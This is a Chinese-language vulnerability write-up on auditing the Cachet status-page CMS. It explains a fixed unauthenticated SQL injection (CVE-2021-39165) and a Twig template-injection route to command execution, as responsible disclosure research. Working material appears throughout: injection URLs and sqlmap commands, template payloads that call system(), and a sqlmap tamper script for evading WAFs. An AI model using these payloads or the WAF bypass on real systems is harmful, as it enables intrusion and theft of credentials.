作者:phith0n
原文鏈接:https://www.leavesongs.com/PENETRATION/cachet-from-laravel-sqli-to-bug-bounty.html
事先聲明:本次測試過程完全處于本地或授權環境,僅供學習與參考,不存在未授權測試過程。本文提到的漏洞《Cachet SQL注入漏洞(CVE-2021-39165)》已經修復,也請讀者勿使用該漏洞進行未授權測試,否則作者不承擔任何責任
0x01 故事的起源
一個百無聊賴的周日晚上,我在知識星球閑逛,發現有一個匿名用戶一連向我提出了兩個問題:

本來不是很想回答這兩個問題,一是感覺比較基礎,二是現在大部分人都卷Java去了,關注PHP的其實不多。不過我搜索了一下自己的星球,發現我的確沒有講過如何調試PHP代碼,那么回答一下這個問題也未嘗不可。
既然如此,我就打開自己常用的PHP IDE之一PHPStorm(另一款是VSCode),看了看硬盤里落滿灰塵的PHP代碼,要不就是幾年前的版本要不就是沒法做演示的非開源項目。如果要新寫一篇教程,最好還是上網上找個新的CMS做演示。
于是我打開了Github,搜索“PHP”關鍵字,點進了PHP這個話題。PHP話題下有幾類開源項目,一是一些PHP框架和庫,排在前面的主要是Laravel、symfony、Yii、guzzle、PHPMailer、composer等;二是CMS和網站應用,排在前面的有matomo、nextcloud、monica、Cachet等;三是一些README和教學項目,比如awesome-php、DesignPatternsPHP等。
做演示自然選擇開箱即用的第二類,于是我挑了一個功能常見且簡單的Cachet。
當天晚上我自己搭建、調試、運行起了Cachet這個CMS,并寫了一篇簡單的教程發在星球里:

本來這個故事到此就結束了,但是不安分的我當時就在想,既然搭都搭起來了,那不如就對其做一遍審計吧。
0x02 Cachet代碼審計
Cachet是一款基于Laravel框架開發的狀態頁面(Statuspage)系統。Statuspage是云平臺流行后慢慢興起的一類系統,作用是向外界展示當前自己各個服務是否在正常運行。國外很多大型互聯網平臺都有Statuspage,最著名的有 Github、Twitter、Facebook、Amazon AWS等。
Statuspage中占據領導地位的是Statuspage.io,隸屬于Atlassian。但畢竟這是一個付費的系統,Cachet得益于自己開源的優勢,也有不少擁躉,在Github上有12k多關注。
Cachet最新的穩定版本是2.3.18,基于Laravel 5.2開發,我將其拉下來安裝好后開始審計。
經過驗證,dev版本的代碼可能有所差異(主要是后臺getshell部分的POC利用鏈不一樣),本文僅基于穩定版做審計。
Laravel框架的CMS審計,我主要關注下面幾個點:
- 網站路由
- 控制器(app/Http/Controllers)
- 中間件(app/Http/Middleware)
- Model(app/Models)
- 網站配置(config)
- 第三方擴展(composer.json)
先從路由開始看起,以app/Http/Routes/StatusPageRoutes.php為例:
$router->group(['middleware' => ['web', 'ready', 'localize']], function (Registrar $router) {
$router->get('/', [
'as' => 'status-page',
'uses' => 'StatusPageController@showIndex',
]);
$router->get('incident/{incident}', [
'as' => 'incident',
'uses' => 'StatusPageController@showIncident',
]);
$router->get('metrics/{metric}', [
'as' => 'metrics',
'uses' => 'StatusPageController@getMetrics',
]);
$router->get('component/{component}/shield', 'StatusPageController@showComponentBadge');
});
其中可以看出的信息是:
- 某個path所對應的Controller和方法
- 整個模塊使用的中間件
前者比較好理解,中間件的作用通常是做權限的校驗、全局信息的提取等。這個route組合用了三個中間件web、ready和localize。我們可以在app/Http/Kernel.php找到這三個名字對應的中間件類,他們的作用是:
- web是多個中間件的組合,作用主要是設置Cookie和session、校驗csrf token等
- ready用于檢查當前CMS是否有初始化,如果沒有,則跳到初始化的頁面
- localize主要用于根據請求中的Accept-Language來展示不同語言的頁面
接著我會主要關注那些不校驗權限的Controller(就是沒有admin和auth中間件的Controller)。我關注到了app/Http/Controllers/Api/ComponentController.php的getComponents方法:
/**
* Get all components.
*
* @return \Illuminate\Http\JsonResponse
*/
public function getComponents()
{
if (app(Guard::class)->check()) {
$components = Component::query();
} else {
$components = Component::enabled();
}
$components->search(Binput::except(['sort', 'order', 'per_page']));
if ($sortBy = Binput::get('sort')) {
$direction = Binput::has('order') && Binput::get('order') == 'desc';
$components->sort($sortBy, $direction);
}
$components = $components->paginate(Binput::get('per_page', 20));
return $this->paginator($components, Request::instance());
}
其中有兩個關鍵點:
$components->search(Binput::except(['sort', 'order', 'per_page']));$components->sort($sortBy, $direction);
sort和search方法都不是Laravel自帶的Model方法,這種情況一般是自定義的scope。scope是定義在Model中可以被重用的方法,他們都以scope開頭。我們可以在app/Models/Traits/SortableTrait.php中找到scopeSort方法:
trait SortableTrait
{
/**
* Adds a sort scope.
*
* @param \Illuminate\Database\Eloquent\Builder $query
* @param string $column
* @param string $direction
*
* @return \Illuminate\Database\Eloquent\Builder
*/
public function scopeSort(Builder $query, $column, $direction)
{
if (!in_array($column, $this->sortable)) {
return $query;
}
return $query->orderBy($column, $direction);
}
}
$column經過了in_array的校驗,$direction傳入的是bool類型,這兩者均無法傳入惡意參數。
我們再看看scopeSearch方法,在app/Models/Traits/SearchableTrait.php中:
<?php
trait SearchableTrait
{
/**
* Adds a search scope.
*
* @param \Illuminate\Database\Eloquent\Builder $query
* @param array $search
*
* @return \Illuminate\Database\Eloquent\Builder
*/
public function scopeSearch(Builder $query, array $search = [])
{
if (empty($search)) {
return $query;
}
if (!array_intersect(array_keys($search), $this->searchable)) {
return $query;
}
return $query->where($search);
}
}
Cachet在調用search時傳入的是Binput::except(['sort', 'order', 'per_page']),這個返回值是將用戶完整的GPC輸入除掉sort、order、per_page三個key組成的數組。也就是說,傳入scopeSearch的這個$search數組的鍵、值都是用戶可控的。
不過,可見這里使用了array_intersect函數對$search數組進行判斷,如果返回為false,則不會繼續往下執行。
大概看了一圈Cachet的代碼,沒有太多功能點。總結起來它的特點是:
1.有一部分代碼邏輯在Controller中,但其還有大量邏輯放在CommandHandler中。
- “Commands & Handlers”邏輯用于在Laravel中實現命令模式
- 這個設計模式分割了輸入和邏輯操作(Source和Sink),讓代碼審計變得麻煩了許多
2.整站前臺的功能很少,權限檢查在中間件中,配置如下
- 前臺和API中的讀取操作(GET)不需要用戶權限
- API中的寫入操作(POST、PUT、DELETE)需要用戶權限
- 后臺所有操作都需要用戶權限
3.一些特殊操作都會經過邏輯判斷,比如上文說到的兩個操作,作者相對比較有安全意識
4.Cachet默認使用Laravel-Binput做用戶輸入,而這個庫對主要是用于做安全過濾,但這個過濾操作也為后面實戰中繞過WAF提供了極大幫助
相信大家審計中經常會遇到類似情況,前臺功能很少導致進展不下去,那么多看看框架部分的代碼也許能發現一些問題。
遇到困難不要慌,去冰箱里拿了一瓶元氣森林冷靜冷靜,重新回來看代碼。回看前面的scopeSearch方法,我突然發現了問題:
if (!array_intersect(array_keys($search), $this->searchable)) {
return $query;
}
return $query->where($search);
array_intersect這個函數,他的功能是計算兩個輸入數組的交集,乍一看這里處理好像經過了校驗,用戶輸入的數組的key如果不在$this->searchable中,就無法取到交集。
但是可以想象一下,我的輸入中只要有一個key在$this->searchable中,那么這里的交集就可以取到至少一個值,這個if語句就不會成立。所以,這個檢查形同虛設,用戶輸入的數組$search被完整傳入where()語句中。
0x03 Laravel代碼審計
熟悉Laravel的同學對where()應該不陌生,簡單介紹一下用法。我們可以通過傳入兩個參數key和value,來構造一個WHERE條件:
DB::table('dual')->where('id', 1);
// 生成的WHERE條件是:WHERE id = 1
如果傳入的是三個參數,則第二個參數會認為是條件表達式中的符號,比如:
DB::table('dual')->where('id', '>', 18);
// 生成的WHERE條件是:WHERE id > 18
當然where也是支持傳入數組的,我看可以將多個條件組合成一個數組傳入where函數中,比如:
DB::table('dual')->where([
['id', '>', '18'],
['title', 'LIKE', '%example%']
]);
// 生成的WHERE條件是:WHERE id > 18 AND title LIKE '%example%'
那么,思考下面三個代碼在Laravel中是否可能導致SQL注入:
where($input, '=', 1)當where的第一個參數被用戶控制where('id', $input, 1)當where的第二個參數被用戶控制,且存在第三個參數where($input)當where只有一個參數且被用戶控制
這三個代碼對應著不同情況,第一種是key被控制,第二種是符號被控制,第三種是整個條件都被控制。
測試的過程就不說了,經過測試,我獲取了下面的結果:
- 當第一個參數key可控時,傳入任意字符串都會報錯,具體的錯誤為“unknown column”,但類似反引號、雙引號這樣的定界符將會被轉義,所以無法逃逸出field字段進行注入
- 當第二個參數符號可控時,輸入非符號字符不會有任何報錯,也不存在注入
- 當整體可控時,相當于可以傳入多個key、符號和value,但經過前兩者的測試,key和符號位都是不能注入的,value就更不可能
仿佛又陷入了困境。
我嘗試debug進入where()函數看了看它內部的實現,src/Illuminate/Database/Query/Builder.php:
public function where($column, $operator = null, $value = null, $boolean = 'and')
{
// If the column is an array, we will assume it is an array of key-value pairs
// and can add them each as a where clause. We will maintain the boolean we
// received when the method was called and pass it into the nested where.
if (is_array($column)) {
return $this->addArrayOfWheres($column, $boolean);
}
// ...
// If the given operator is not found in the list of valid operators we will
// assume that the developer is just short-cutting the '=' operators and
// we will set the operators to '=' and set the values appropriately.
if (! in_array(strtolower($operator), $this->operators, true) &&
! in_array(strtolower($operator), $this->grammar->getOperators(), true)) {
list($value, $operator) = [$operator, '='];
}
當第一個參數是數組時,將會執行到addArrayOfWheres()方法。另外從上面的第二個if語句也可以看出,這里面對參數$operator做了校驗,這也是其無法注入的原因。
跟進一下addArrayOfWheres()方法:
protected function addArrayOfWheres($column, $boolean, $method = 'where')
{
return $this->whereNested(function ($query) use ($column, $method) {
foreach ($column as $key => $value) {
if (is_numeric($key) && is_array($value)) {
call_user_func_array([$query, $method], $value);
} else {
$query->$method($key, '=', $value);
}
}
}, $boolean);
}
public function whereNested(Closure $callback, $boolean = 'and')
{
$query = $this->forNestedWhere();
call_user_func($callback, $query);
return $this->addNestedWhereQuery($query, $boolean);
}
可以觀察到,這里面有個很重要的回調,遍歷了用戶輸入的第一個數組參數$column,當發現其鍵名是一個數字,且鍵值是一個數組時,將會調用[$query, $method],也就是$this->where(),并將完整的$value數組作為參數列表傳入。
這個過程就是為了實現上面說到的where()的第三種用法:
DB::table('dual')->where([ ['id', '>', '18'], ['title', 'LIKE', '%example%']]);
所以,通過這個方法,我可以做到了一件事情:從控制where()的第一個參數,到能夠完整控制where()的所有參數。
那么,再回看where函數的參數列表:
public function where($column, $operator = null, $value = null, $boolean = 'and')
第四個$boolean參數就格外顯眼了,這是控制WHERE條件連接邏輯的參數,默認是and。這個$boolean既不是SQL語句中的“鍵”,也不是SQL語句中的“值”,而就是SQL語句的代碼,如果沒有校驗,一定存在SQL注入。
事實證明,這里并沒有經過校驗。我將debug模式打開,并注釋了抑制報錯的邏輯,即可在頁面上看到SQL注入的報錯:

1[3]參數可以注入任何語句,所以這里存在一個SQL注入漏洞。而且因為這個API接口是GET請求,所以無需用戶權限,這是一個無限制的前臺SQL注入。
Laravel的這個數組特性可以類比于6年前我第一次發現的ThinkPHP3系列SQL注入。當時的ThinkPHP注入是我在烏云乃至安全圈站穩腳跟的一批漏洞,它開創了使用數組進行框架ORM注入的先河,其影響和其后續類似的漏洞也一直持續到今天。遺憾的是,Laravel的這個問題是出現在where()的第一個參數,官方并不認為這是框架的問題。
0x04 SQL注入利用
回到Cachet。默認情況下Cachet的任何報錯都不會有詳情,只會返回一個500錯誤。且Laravel不支持堆疊注入,那么要利用這個漏洞,就有兩種方式:
- 通過UNION SELECT注入直接獲取數據
- 通過BOOL盲注獲取數據
UNION肯定是最理想的,但是這里無法使用,原因是用戶的這個輸入會經過兩次字段數量不同的SQL語句,會導致其中至少有一個SQL語句在UNION SELECT的時候出錯而退出。
Bool盲注沒有任何問題,我本地是Postgres數據庫,所以以其為例。
構造一個能夠顯示數據的請求:
http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)+--+

將and 1=1修改為and 1=2,數據消失了:
http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=2)+--+

說明盲注可以利用,于是我選擇使用SQLMap來利用漏洞。SQLMap默認情況下將整個參數替換成SQL注入的Payload,而這個注入點需要前綴和后綴,需要對參數進行修改。
我先使用一個能夠爆出數據的URL,比如/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)+--+,在這個括號后面增加個星號,然后作為-u目標進行檢測即可:
python sqlmap.py -u "http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+"

注入點被SQLMap識別了。因為表結構已經知道,成功獲取用戶、密碼:

0x05 后臺代碼審計
這個注入漏洞的優勢是無需用戶權限,但劣勢是無法堆疊執行,原因我在星球的這篇帖子里有介紹過(雖然帖子里說的是ThinkPHP)。主要是在初始化PDO的時候設置了PDO::ATTR_EMULATE_PREPARES為false,而數據庫默認的參數化查詢不允許prepare多個SQL語句。
無法堆疊執行的結果就是沒法執行UPDATE語句,我只能通過注入獲取一些信息,想要進一步執行代碼,還需要繼續審計。
接下來的審計我主要是在看后臺邏輯,挖掘后臺漏洞建議是黑盒結合白盒,這樣會更快,原因是后臺可能有很多常見的敏感操作,比如文件上傳、編輯等,這些操作有時候可能直接抓包一改就能測出漏洞,都不需要代碼審計了。
Cachet的后臺還算相對安全,沒有文件操作的邏輯,唯一一個上傳邏輯是“Banner Image”的修改,但并不存在漏洞。
這時候我關注到了一個功能,Incident Templates,用于在報告事故的時候簡化詳情填寫的操作。這個功能支持解析Twig模板語言:

對于Twig模板的解析是在API請求中,用API創建或編輯Incident對象的時候會使用到Incident Templates,進而執行模板引擎。
利用時需要現在Web后臺添加一個Incident Template,填寫好Twig模板,記下名字。再發送下面這個數據包來執行名為“ssti”的模板,獲得結果:
POST /api/v1/incidents HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
X-Cachet-Token: QLGMRm5N8bUjVxbdLF6m
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
visible=0&status=1&name=demo&template=ssti
其中X-Cachet-Token是注入時獲取的用戶的API Key。我添加了一個內容是{{ 233 * 233 }}的Incident Template,渲染結果被成功返回在API的結果中:

Twig是PHP的一個著名的模板引擎,相比于其他語言的模板引擎,它提供了更安全的沙盒模式。默認模式下模板引擎沒有特殊限制,而沙盒模式下只能使用白名單內的tag和filter。
Cachet中沒有使用沙盒模式,所以我不做深入研究。普通模式想要執行惡意代碼,需要借助一些內置的tag、filter,或者上下文中的危險對象。在Twig v1.41、v2.10和v3后,增加了map和filter這兩個filter,可以直接用來執行任意函數:
{{["id"]|filter("system")|join(",")}}
{{["id"]|map("system")|join(",")}}
但是Cachet v2.3.18中使用的是v1.40.1,剛好不存在這兩個filter。那么舊版本如何來利用呢?
PortSwigger曾在2015年發表過一篇模板注入的文章《Server-Side Template Injection》,里面介紹過當時的Twig模板注入方法:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
_self是Twig中的一個默認的上下文對象,指代的是當前Template,其中的env屬性是一個Twig_Environment對象。Twig_Environment類的registerUndefinedFilterCallback和getFilter就用來注冊和執行回調函數,通過這兩次調用,即可構造一個任意命令執行的利用鏈。
但是,這個執行命令的方法在Twig v1.20.0中被官方修復了:https://github.com/twigphp/Twig/blob/1.x/CHANGELOG#L430,修復方法是發現object是當前對象時,則不進行屬性的獲取,下面這個if語句根本不會進去:
// object property
if (self::METHOD_CALL !== $type && !$object instanceof self) { // Twig_Template does not have public properties, and we don't want to allow access to internal ones
if (isset($object->$item) || array_key_exists((string) $item, $object)) {
if ($isDefinedTest) {
return true;
}
if ($this->env->hasExtension('sandbox')) {
$this->env->getExtension('sandbox')->checkPropertyAllowed($object, $item);
}
return $object->$item;
}
}
這個修改邏輯是科學的,因為Twig中正常只允許訪問一個對象的public屬性和方法,但因為_self指向的是$this,而$this可以訪問父類的protected屬性,所以才繞過了對作用域的限制,訪問到了env。這個修復對此作了加強,讓_self的表現和其他對象相同了。
另外,_self.getEnvironment()原本也可以訪問env,這個修復也一起被干掉了。
Cachet使用rcrowe/twigbridge來將twig集成進Laravel框架,按照composer.lock中的版本號來肯定高于v1.20.0(實際是v1.40.1),也就是說,我也無法使用這個Payload做命令執行。
0x06 尋找Twig利用鏈與代碼執行
Cachet中使用了下面這段代碼來渲染Twig模板:
protected function parseIncidentTemplate($templateSlug, $vars)
{
if ($vars === null) {
$vars = [];
}
$this->twig->setLoader(new Twig_Loader_String());
$template = IncidentTemplate::forSlug($templateSlug)->first();
return $this->twig->render($template->template, $vars);
}
其中$vars是用戶從POST中傳入的一個數組,這意味著注入到模板中的變量只是簡單的字符串數組,沒有任何對象。再加上前文說到的_self對象也被限制了,我發現很難找到可以被利用的方法。
此時我關注到了rcrowe/twigbridge這個庫。rcrowe/twigbridge用于在Laravel和Twig之間建立一個橋梁,讓Laravel框架可以直接使用twig模板引擎。
根據Laravel的依賴注入、控制反轉的設計模式,如果要實現“橋梁”的功能,那么就需要編寫一個Service Provider,在Service Provider中對目標對象進行初始化,并放在容器中。
我在rcrowe/twigbridge的ServiceProvider中下了斷點,捋了捋Twig初始化的過程,發現一個有趣的點:

baseTemplateClass不是默認的\Twig\Template,而是一個自定義的TwigBridge\Twig\Template。baseTemplateClass就是在模板中,_self指向的那個對象的基類,是一個很重要的類。
在src/Twig/Template.php中,我發現$context中有一個看起來很特殊的對象__env:
/**
* {@inheritdoc}
*/
public function display(array $context, array $blocks = [])
{
if (!isset($context['__env'])) {
$context = $this->env->mergeShared($context);
}
if ($this->shouldFireEvents()) {
$context = $this->fireEvents($context);
}
parent::display($context, $blocks);
}
在此處下斷點可以看到,這個__env是一個\Illuminate\View\Factory對象,原來是Twig共享了Laravel原生View模板引擎中的全局變量。
那么,我們可以找找\Illuminate\View\Factory類中是否有危險屬性和函數。\Illuminate\Events\Dispatcher是Factory類的屬性,其中存在一對事件監聽函數:
public function listen($events, $listener, $priority = 0)
{
foreach ((array) $events as $event) {
if (Str::contains($event, '*')) {
$this->setupWildcardListen($event, $listener);
} else {
$this->listeners[$event][$priority][] = $this->makeListener($listener);
unset($this->sorted[$event]);
}
}
}
public function fire($event, $payload = [], $halt = false)
{
// ...
foreach ($this->getListeners($event) as $listener) {
$response = call_user_func_array($listener, $payload);
它的限制主要是,回調函數必須是一個可以被自動創建與初始化的類方法,比如靜態方法。我很快我找到了一對合適的回調\Symfony\Component\VarDumper\VarDumper,我們可以先調用setHandler將$handler設置成任意函數,再調用dump來執行:
class VarDumper
{
private static $handler;
public static function dump($var)
{
// ...
return call_user_func(self::$handler, $var);
}
public static function setHandler(callable $callable = null)
{
$prevHandler = self::$handler;
self::$handler = $callable;
return $prevHandler;
}
}
構造出的模板代碼如下,成功執行任意命令:
{{__env.getDispatcher().listen('ssti1', '\\Symfony\\Component\\VarDumper\\VarDumper@setHandler')}}
{% set a = __env.getDispatcher().fire('ssti1', ['system']) %}
{{__env.getDispatcher().listen('ssti2', '\\Symfony\\Component\\VarDumper\\VarDumper@dump')}}
{% set a = __env.getDispatcher().fire('ssti2', ['ping -n 1 127.0.0.1']) %}

除了__env外,上下文中還被注入了一個app變量,這是一個\Illuminate\Foundation\Application對象,它的利用鏈就更簡單了,因為其中有一個函數可以直接用來執行任意代碼:
public function call($callback, array $parameters = [], $defaultMethod = null)
{
if ($this->isCallableWithAtSign($callback) || $defaultMethod) {
return $this->callClass($callback, $parameters, $defaultMethod);
}
$dependencies = $this->getMethodDependencies($callback, $parameters);
return call_user_func_array($callback, $dependencies);
}
所以,我構造了一個模板代碼來執行任意PHP函數,這個方法相對簡單很多:
{{ app.call('md5', ['123456']) }}
至此,我又搞定了后臺代碼執行。兩個漏洞組合起來,就可以成功拿下Cachet系統權限。
0x07 走向Bug Bounty
前面說過,國外大量大廠都會使用Statuspage,所以我跑了一下hackerone、bugcrowd中使用了Cachet系統的廠商:

不多,大部分廠商還是在用Statuspage.io。
在實戰中,我遇到了一個比較棘手的問題,大量廠商使用了WAF,這讓GET型的注入變得很麻煩。解決這個問題的方法還是回歸到代碼審計中,Cachet獲取用戶輸入是使用graham-campbell/binput,我在前面審計的時候發現其在獲取輸入的基礎上會做一次過濾:
public function get($key, $default = null, $trim = true, $clean = true)
{
$value = $this->request->input($key, $default);
return $this->clean($value, $trim, $clean);
}
跟進clean()我發現這個庫最終對用戶的輸入做了一次處理:
protected function process($str)
{
$str = $this->removeInvisibleCharacters($str);
//...
}
protected function removeInvisibleCharacters($str, $urlEncoded = true)
{
$nonDisplayables = [];
if ($urlEncoded) {
$nonDisplayables[] = '/%0[0-8bcef]/';
$nonDisplayables[] = '/%1[0-9a-f]/';
}
$nonDisplayables[] = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S';
do {
$str = preg_replace($nonDisplayables, '', $str, -1, $count);
} while ($count);
return $str;
}
removeInvisibleCharacters()方法將輸入中的所有控制字符給替換成空了。那么,這個特性可以用于繞過WAF。
正常的注入語句會被WAF攔截:

在關鍵字OR中間插入一個控制字符%01,即可繞過WAF正常注入了:

我寫了一個簡單的SQLMap Tamper來幫我進行這個處理:
#!/usr/bin/env python
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
KEYWORD_PATTERN = re.compile(r'\b[a-zA-Z]{2,}\b')
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Add %01 to all the keyword
>>> tamper("1 AND '1'='1")
"1 A%01ND '1'='1"
"""
payload_list = list(payload)
offset = 0
for g in KEYWORD_PATTERN.finditer(payload):
start = g.start()
end = g.end()
m = (start + end) // 2
payload_list.insert(offset + m, '%01')
offset += 1
return ''.join(payload_list)
使用這個tamper:
python sqlmap.py -u "https://target/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=o%02r+%27a%27=%3F%20a%01nd%201=1)*+--+" --tamper addinvisiblechars.py -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
簡單提交了幾個有Bug Bounty的廠商,均已得到了確認:




漏洞時間線
本文涉及的漏洞已經提交給Cachet官方,但是官方開發者不是很活躍,一直沒有回應。在issue中找到了一個fork的廠商,相對比較活躍,也可以聯系到維護人,于是以fork廠商的身份對漏洞進行了通報。
以下是漏洞的生命時間線:
- Jul 19, 2021 - 漏洞發現
- Jul 20, 2021 - SQL注入提交給Laravel官方,Laravel并不認為是自己的問題
- Jul 19 ~ jul 30, 2021 - 對hakcerone、bugcrowd上的廠商進行測試,并提交漏洞
- Jul 27, 2021 - 漏洞提交給Cachet官方和Fork的維護者
- Jul 27, 2021 - 發現Fork的項目在此之前意外修復過這個漏洞
- Aug 27, 2021, 01:36 AM GMT+8 - 漏洞公告發布,確認編號CVE-2021-39165
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1688/
暫無評論